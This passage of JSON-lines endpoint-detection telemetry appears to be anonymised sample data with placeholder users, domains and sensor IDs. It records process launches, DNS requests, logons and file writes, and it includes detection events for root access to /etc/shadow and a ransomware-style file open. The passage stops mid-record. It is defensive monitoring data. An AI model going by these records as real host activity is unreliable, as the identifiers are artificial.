-{"event_simpleName":"FirmwareAnalysisStatus","ConfigStateHash":"3090255842","FirmwareAnalysisEclControlInterfaceVersion":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","FirmwareAnalysisEclConsumerInterfaceVersion":"0","BootTimeFunctionalityLevel":"255","ReasonOfFunctionalityLevel":"3","CurrentFunctionalityLevel":"2","Entitlements":"15","name":"FirmwareAnalysisStatusMacV2","id":"ffffffff-1111-11eb-ba57-0214a0d89bf7","EffectiveTransmissionClass":"0","aid":"ffffffff0d7b4d839912e55b4755e85b","timestamp":"1625677368429","cid":"ffffffff15754bcfb5f9152ec7ac90ac","PciAttachmentState":"65535"}
-{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.13","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"utun2","InDiscards":"0","InterfaceIndex":"17","event_platform":"Mac","InterfaceType":"1","id":"ffffffff-1111-11eb-a272-0294ad12fbe7","PhysicalAddressLength":"0","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677504544","LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"3090255842","PhysicalAddress":"","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressIP4MacV1","aid":"ffffffff557f4b99a0afdea9ce8cd6fa","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"CommandLine":"uname -a","ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","Entitlements":"15","GID":"0","ImageFileName":"/bin/uname","MD5HashData":"894356eb59e279696c304f07091b7fde","NDRoot":"321385814512398584","ParentProcessId":"321385814512398584","ProcessEndTime":"1604855099.126","ProcessGroupId":"0","ProcessStartTime":"1604855099.126","RGID":"0","RUID":"0","RawProcessId":"51342","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa","SVGID":"0","SVUID":"0","SessionProcessId":"314116638974342642","SourceProcessId":"321385814512398584","SourceThreadId":"0","TargetProcessId":"321385814512398605","UID":"0","aid":"ffffffff70d140ca9ba97f0dddd14137","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-ac87-06decddc17a1","name":"ProcessRollup2LinV5","timestamp":"1604855099681"}
-{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"317713210176499254","ContextThreadId":"0","ContextTimeStamp":"1604855096.730","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"28987","SHA256HashData":"6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"317713210176499254","aid":"ffffffff75fc48f15cfe5f095e605c4c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-809e-02fff4e55a49","name":"EndOfProcessMacV14","timestamp":"1604855099646"}
-{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"38188","ConHostProcessId":"3099352216141","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextData":"","ContextProcessId":"3100508103359","ContextThreadId":"93436292950223","ContextTimeStamp":"1604855097.926","CreateProcessCount":"0","CycleTime":"2937514388","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"1","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"2","GenericFileWrittenCount":"0","ImageSubsystem":"3","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"7500000","MaxThreadCount":"4","ModuleLoadCount":"38","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"3099350649383","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855096.463","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"33016","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"3100508103359","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-5-18","UserTime":"6406250","aid":"ffffffffb5db4b2e7ec89aba537adcc2","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"EndOfProcessV15","timestamp":"1604855099935"}
-{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","ContextProcessId":"311775981885093125","ContextThreadId":"0","ContextTimeStamp":"1604855101.341","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"10507","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"311775981885093125","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"EndOfProcessMacV12","timestamp":"1604855100139"}
-{"AuthenticationId":"999","CommandLine":"D:\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe --ps2","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume2\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe","ImageSubsystem":"3","IntegrityLevel":"16384","MD5HashData":"571391f723a439e985a2064337e2802a","ParentAuthenticationId":"999","ParentBaseFileName":"splunkd.exe","ParentProcessId":"17346335177","ProcessCreateFlags":"67634688","ProcessEndTime":"","ProcessParameterFlags":"24577","ProcessStartTime":"1604855099.406","ProcessSxsFlags":"64","RawProcessId":"6116","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720","SessionId":"0","SourceProcessId":"17346335177","SourceThreadId":"107650023406","Tags":"27, 151, 12094627905582, 12094627906234","TargetProcessId":"583707537390","TokenType":"1","UserSid":"S-1-5-18","WindowFlags":"384","aid":"ffffffff3a5a424fa02450da53619745","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-a09e-06f79d630255","name":"ProcessRollup2V17","timestamp":"1604855100030"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2784638081","ContextProcessId":"259090530891","ContextThreadId":"16409623709004","ContextTimeStamp":"1604855095.961","DnsRequestCount":"1","DomainName":"comp1.dom2","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff4f1444bab96568879cb43556","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DnsRequest","id":"ffffffff-1111-11eb-8077-0606f7dcf2ed","name":"DnsRequestV3","timestamp":"1604855099913"}
-{"ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","ContextProcessId":"321385820045701199","ContextThreadId":"0","ContextTimeStamp":"1604855101.645","Entitlements":"15","GID":"0","TargetFileName":"/etc/shadow","UID":"0","UnixMode":"32768","aid":"ffffffff32ba43a483e76c6f0a4aa26f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"CriticalFileAccessed","id":"ffffffff-1111-11eb-b70d-027f9ced2001","name":"CriticalFileAccessedLinV1","timestamp":"1604855102247"}
-{"CommandLine":"/usr/bin/plutil -convert xml1 -o - /Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/tvOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns/com.apple.DiagnosticExtensions.CrashLogs.appex/Info.plist","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","Entitlements":"15","GID":"0","ImageFileName":"/usr/bin/plutil","MD5HashData":"d51cef1b288e2032aee9805deff04bfd","MachOSubType":"1","ParentProcessId":"311774817965726568","ProcessEndTime":"","ProcessGroupId":"311774817965726568","ProcessStartTime":"1604855111.240","RGID":"0","RUID":"0","RawProcessId":"10692","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SVGID":"0","SVUID":"0","SourceProcessId":"311776004953765502","SourceThreadId":"0","Tags":"27, 12094627905582, 12094627906234","TargetProcessId":"311776004953765502","UID":"0","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"ProcessRollup2MacV3","timestamp":"1604855109180"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3899738370","ContextProcessId":"1546527409909","ContextThreadId":"4711690090889","ContextTimeStamp":"1604855114.133","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"501ee2c32e53fb43b07f419f3236fb45c29e000000002c00","FileObject":"18446655033844205120","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"88080484","ShareAccess":"1","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Windows\\Temp\\__PSScriptPolicyTest_dvkjnbka.apn.ps1","aid":"ffffffff8f1e4b77b4dae5debaa1c8bc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewScriptWritten","id":"ffffffff-1111-11eb-80b5-06e11a66e03d","name":"NewScriptWrittenV7","timestamp":"1604855114427"}
-{"ConfigBuild":"1007.4.0012205.1","ConfigStateHash":"1306766522","ConnectionDirection":"1","ConnectionFlags":"0","ContextProcessId":"321275232072440993","ContextTimeStamp":"1604855116.421","Entitlements":"15","InContext":"0","LocalAddressIP4":"0.0.0.0","LocalPort":"0","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"ffffffffd4094240a6b1d12aaf304f4f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-aca9-02683aed2a0d","name":"NetworkConnectIP4MacV5","timestamp":"1604855116502"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2602391615","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"223442259384","ContextTimeStamp":"1604855116.849","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"67.43.156.14","LocalPort":"53961","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"fffffffff000426eb99afaa2ccdcbc17","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-b0eb-06be7616c211","name":"NetworkConnectIP4V5","timestamp":"1604855116942"}
-{"AuthenticationId":"6580764513","AuthenticationPackage":"Negotiate","ClientComputerName":"-","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"816054990879","ContextThreadId":"52913017705957","ContextTimeStamp":"1604855091.781","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"NT AUTHORITY","LogonServer":"","LogonTime":"1604855091.781","LogonType":"9","PasswordLastSet":"","RemoteAccount":"1","UserFlags":"0","UserIsAdmin":"0","UserLogonFlags":"12","UserName":"SYSTEM","UserPrincipal":"user4@dom2","UserSid":"S-1-5-18","aid":"ffffffff8d2e4b4f9b21b40633a8d579","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogon","id":"ffffffff-1111-11eb-a8cf-0649c95cfa1d","name":"UserLogonV8","timestamp":"1604855121077"}
-{"AuthenticationId":"2007206396","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"4415814628770","ContextThreadId":"41392001729898","ContextTimeStamp":"1604855120.785","DiskParentDeviceInstanceId":"PCI\\VEN_1000\u0026DEV_0054\u0026SUBSYS_197615AD\u0026REV_01\\4\u00261f16fef7\u00260\u002600A8","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"b57cb59769dfe71180b4806e6f6e6963ea8902000000cb2c","FileObject":"18446708893089967904","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","IsTransactedFile":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","SHA256HashData":"d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182","Size":"6144","TargetFileName":"\\Device\\HarddiskVolume2\\Users\\user10\\AppData\\Local\\Temp\\ec1ijefl.dll","TokenType":"1","aid":"ffffffff2c47454cba360bc404a607bb","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PeFileWritten","id":"ffffffff-1111-11eb-b091-06f6cca0a049","name":"PeFileWrittenV14","timestamp":"1604855121109"}
-{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","timestamp":"1604855134461"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"537307300","ContextProcessId":"635780922149","ContextThreadId":"9479299143023","ContextTimeStamp":"1604855025.966","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"0e02a8c7ed9d244887cef0409af0e6190030000000001100","FileObject":"18446695174291796544","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"83886176","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Program Files\\Snow Software\\Inventory\\Agent\\cloudmeteringhost.exe","aid":"ffffffff425942f58382dbb11350eeda","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableWritten","id":"ffffffff-1111-11eb-93cb-067deb43537b","name":"NewExecutableWrittenV1","timestamp":"1604855149643"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"50714198593318","ContextThreadId":"194302491825207","ContextTimeStamp":"1604855150.066","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"59491","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffa51b4acf9dbc1fc273e6145c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"NetworkListenIP4V5","timestamp":"1604855150545"}
-{"ClientComputerName":"com1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"7073822473144","ContextThreadId":"48689911139327","ContextTimeStamp":"1604855152.993","EffectiveTransmissionClass":"2","Entitlements":"15","EtwRawProcessId":"744","EtwRawThreadId":"5304","LogonDomain":"BROADCAST","LogonType":"3","RemoteAddressIP4":"67.43.156.14","Status":"3221225581","SubStatus":"3221225578","UserName":"user5","aid":"ffffffffd8844a59acce5e1f4ad01888","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed2","id":"ffffffff-1111-11eb-a8aa-067029dffccb","name":"UserLogonFailed2V2","timestamp":"1604855154274"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextProcessId":"1838383212125","ContextThreadId":"27242382481217","ContextTimeStamp":"1604855151.534","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"b0754a8f86feffffb0754a8f86feffff09764a8f86feffff","FileObject":"18446636884348143072","IrpFlags":"1028","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Program Files\\WindowsApps\\Deleted\\Microsoft.Getstarted_9.10.32461.0_x64__8wekyb3d8bbweacf6b996-01b3-402c-bd01-a67529f94699\\clrcompression.dll","aid":"ffffffff4a0946365161093453e596d4","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ExecutableDeleted","id":"ffffffff-1111-11eb-b23b-064dea059649","name":"ExecutableDeletedV3","timestamp":"1604855154670"}
-{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009202.1","ConfigStateHash":"230795414","ContextProcessId":"318137549555284836","ContextThreadId":"0","ContextTimeStamp":"1604855135.209","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"20195","SHA256HashData":"295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"318137549555284836","aid":"ffffffffcfe84e8c6a52c4001bd83761","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-ae31-065d76bec0c3","name":"EndOfProcessMacV11","timestamp":"1604855160047"}
-{"ApiReturnValue":"1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"683078218537","ContextTimeStamp":"1604855171.731","EffectiveTransmissionClass":"3","Entitlements":"15","EtwRawProcessId":"19400","EtwRawThreadId":"9384","aid":"ffffffff80984ea8b49d9a53f590c566","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RegisterRawInputDevicesEtw","id":"ffffffff-1111-11eb-a570-0685ba2a382f","name":"RegisterRawInputDevicesEtwV1","timestamp":"1604855173077"}
-{"CompletionEventId":"Event_ChannelDataDownloadCompleteV1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","DownloadPath":"metahash+/cfs/channelfiles/0000000013/b2acba1a30a3407dae27d0503611022d/C-00000013-00000000-00000408.sys","DownloadPort":"443","DownloadServer":"lfodown01-b.cloudsink.net","EffectiveTransmissionClass":"0","Entitlements":"15","TargetFileName":"C-00000013-00000000-00000408.sys","aid":"ffffffffffc94c645268f64fc900213f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"LFODownloadConfirmation","id":"ffffffff-1111-11eb-8ab5-0643392fc75d","name":"LFODownloadConfirmationV1","timestamp":"1604855174018"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"2071361595421","ContextThreadId":"41650430047375","ContextTimeStamp":"1604855146.590","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","FileObject":"18446622606546437424","IrpFlags":"395312","MajorFunction":"6","MinorFunction":"0","NewFileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","OperationFlags":"0","SourceFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\temp\\EKA0UARWWK\\Microsoft.WSMan.Management.ni.dll","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.We0722664#\\c2579d00f9849413b8b7948dd00ac863\\Microsoft.WSMan.Management.ni.dll","aid":"ffffffff280b41b956a91e816bd9b9b0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8162-0663305b686f","name":"NewExecutableRenamedV6","timestamp":"1604855177513"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"402097454","ContextProcessId":"66601077523","ContextThreadId":"2500785639062","ContextTimeStamp":"1604855165.213","DesiredAccess":"1048577","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"d2f4250ff1ba3b4ca66e123c5269884ca6f8020000002700","FileObject":"18446641334185168032","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"35668001","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\CbsTemp\\30848497_1904507751\\FodWU","aid":"ffffffff2c9f4066b0b5f2f00265503c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DirectoryCreate","id":"ffffffff-1111-11eb-9411-06b7c99be087","name":"DirectoryCreateV1","timestamp":"1604855180332"}
-{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextTimeStamp":"1604855196.468","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"949196415400","RpcClientThreadId":"44209361549673","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"wlidsvc","TargetProcessId":"955370934902","TokenType":"1","UserName":"user6","aid":"fffffffffcc4413057adc260e99b0774","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ServiceStarted","id":"ffffffff-1111-11eb-9c98-02c501fe7d81","name":"ServiceStartedV2","timestamp":"1604855196635"}
-{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"319255017313886870","ContextTimeStamp":"1604855200.751","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"0","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:1","RemotePort":"2181","aid":"ffffffffed0f41575620ab9fb25ce105","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-81f1-061cdebbd115","name":"NetworkConnectIP6MacV5","timestamp":"1604855200836"}
-{"AuthenticationId":"1656178821","AuthenticationPackage":"Kerberos","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"30254389526587","ContextThreadId":"275230771323179","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"dom1","LogonId":"1656178821","LogonServer":"srv1","LogonTime":"1604855211.249","LogonType":"5","PasswordLastSet":"1530626210.104","RemoteAccount":"1","SessionId":"0","UserCanonical":"","UserFlags":"32","UserIsAdmin":"0","UserLogonFlags":"0","UserName":"user7","UserPrincipal":"user7@dom4.cm","UserSid":"S-1-5-21-606747145-1364589140-725345543-183372","aid":"ffffffff73164cfa9656c4caff8a2a38","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-86e3-02db1faa1327","name":"UserIdentityV2","timestamp":"1604855212031"}
-{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\System32\\svchost.exe -k netsvcs -p -s NetSetupSvc","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"4193986770","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","ImageSubsystem":"2","IntegrityLevel":"16384","MD5HashData":"8a0a29438052faed8a2532da50455756","ParentAuthenticationId":"999","ParentProcessId":"2881931477041","ProcessCreateFlags":"525324","ProcessEndTime":"","ProcessParameterFlags":"8193","ProcessStartTime":"1604842733.215","ProcessSxsFlags":"64","RawProcessId":"6160","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6","SessionId":"0","SourceProcessId":"2881931477041","SourceThreadId":"70316664105336","Tags":"27, 29, 53, 54, 55, 185, 10445360464024, 10445360464025, 10445360464026, 10445360464258, 10445360464273, 10445360464274, 12094627905582, 12094627906234, 211655988347297","TargetProcessId":"2882232404222","TokenType":"2","UserSid":"S-1-5-18","WindowFlags":"128","aid":"ffffffffbe8a46386afe80c5ef64d0b5","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-b4f9-06e3a7e5503b","name":"ProcessRollup2V16","timestamp":"1604855237946"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"1016182570608","ContextThreadId":"37343520154472","ContextTimeStamp":"1604829512.519","DesiredAccess":"1179785","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"7a9c1c1610045d45a54bd6643ac12ea767a5020000000c00","FileObject":"18446670458156489088","Information":"1","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"16777312","ShareAccess":"5","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user11\\Downloads\\file.pptx","aid":"ffffffffac4148947ed68497e89f3308","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RansomwareOpenFile","id":"ffffffff-1111-11eb-9756-06fe7f8f682f","name":"RansomwareOpenFileV4","timestamp":"1604855242091"}
-{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"13532","ConHostProcessId":"1731198143955","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"2030177841","ContextData":"","ContextProcessId":"1741732942772","ContextThreadId":"28523520529271","ContextTimeStamp":"1604855274.377","CycleTime":"473618996","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"0","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"0","GenericFileWrittenCount":"0","ImageSubsystem":"2","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"1406250","MaxThreadCount":"16","ModuleLoadCount":"72","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"1731198143955","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855154.465","ProtectVirtualMemory